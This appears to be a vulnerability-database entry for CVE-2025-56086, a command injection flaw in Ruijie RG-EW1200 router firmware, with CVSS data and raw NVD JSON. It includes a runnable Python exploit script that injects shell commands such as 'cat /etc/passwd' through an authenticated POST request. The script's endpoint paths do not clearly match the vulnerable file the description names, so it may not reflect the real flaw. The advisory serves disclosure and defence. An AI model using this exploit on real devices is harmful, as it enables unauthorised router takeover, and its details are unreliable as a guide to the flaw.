Security Vulnerability Report
中文
CVE-2025-56086 CVSS 8.8 HIGH

CVE-2025-56086

Published: 2025-12-11 18:16:21
Last Modified: 2025-12-26 15:39:20

Description

OS Command Injection vulnerability in Ruijie RG-EW1200 EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\(1\)b11p227:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-x60_firmware:3.0\(1\)b11p237:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-x60:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1200 EW_3.0(1)B11P227
Ruijie RG-EW1200 EW1200_11130208
Ruijie RG-EW1200 V1.00及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56086 PoC - Ruijie RG-EW1200 OS Command Injection # Target: Ruijie RG-EW1200 Router # Vulnerability: OS Command Injection in /module_get endpoint # Affected: EW_3.0(1)B11P227 and earlier versions def exploit(target_ip, username, password, command): """ Exploit OS Command Injection in Ruijie RG-EW1200 Args: target_ip: Target router IP address username: Valid username for authentication password: Valid password for authentication command: Command to execute on the target system """ # Login to get session login_url = f"http://{target_ip}/cgi-bin/luci/api/login" login_data = { "username": username, "password": password } try: # Step 1: Authenticate session = requests.Session() login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return False # Step 2: Send malicious request with command injection exploit_url = f"http://{target_ip}/cgi-bin/luci/module_get" # Inject OS command using semicolon separator # Example: ; cat /etc/passwd # payload = { "module": "networkConnect", "action": "connect", "param": f"'; {command} #" } response = session.post(exploit_url, data=payload, timeout=10) print(f"[+] Exploit sent successfully") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password> <command>") print(f"Example: python {sys.argv[0]} 192.168.1.1 admin admin 'cat /etc/passwd'") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] command = sys.argv[4] print(f"[*] CVE-2025-56086 PoC for Ruijie RG-EW1200") print(f"[*] Target: {target_ip}") print(f"[*] Command: {command}") exploit(target_ip, username, password, command)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56086", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.777", "lastModified": "2025-12-26T15:39:20.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1200 EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\\(1\\)b11p227:*:*:*:*:*:*:*", "matchCriteriaId": "9A21CEFA-99EF-43C6-8CDB-105C7D7C0C2C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "33F48A2D-4E54-482E-B313-F9CEFA76392D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-x60_firmware:3.0\\(1\\)b11p237:*:*:*:*:*:*:*", "matchCriteriaId": "2FFF29D2-52E0-453B-A65A-9B340AB6333F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-x60:-:*:*:*:*:*:*:*", "matchCriteriaId": "F78450DC-DF6F-4A99-9AA7-10800BAD3F19"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EuESCSUsYvtAtfW1SfmGGxsBw-kN9iCbpnUU9T8TXofH3w?e=kp5OXK", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/ETgTxS2wFBlCjG4DP56-PjkBWwvraLHZ-BVaWh9Vs9_SuA?e=aTbjEe", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56086.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}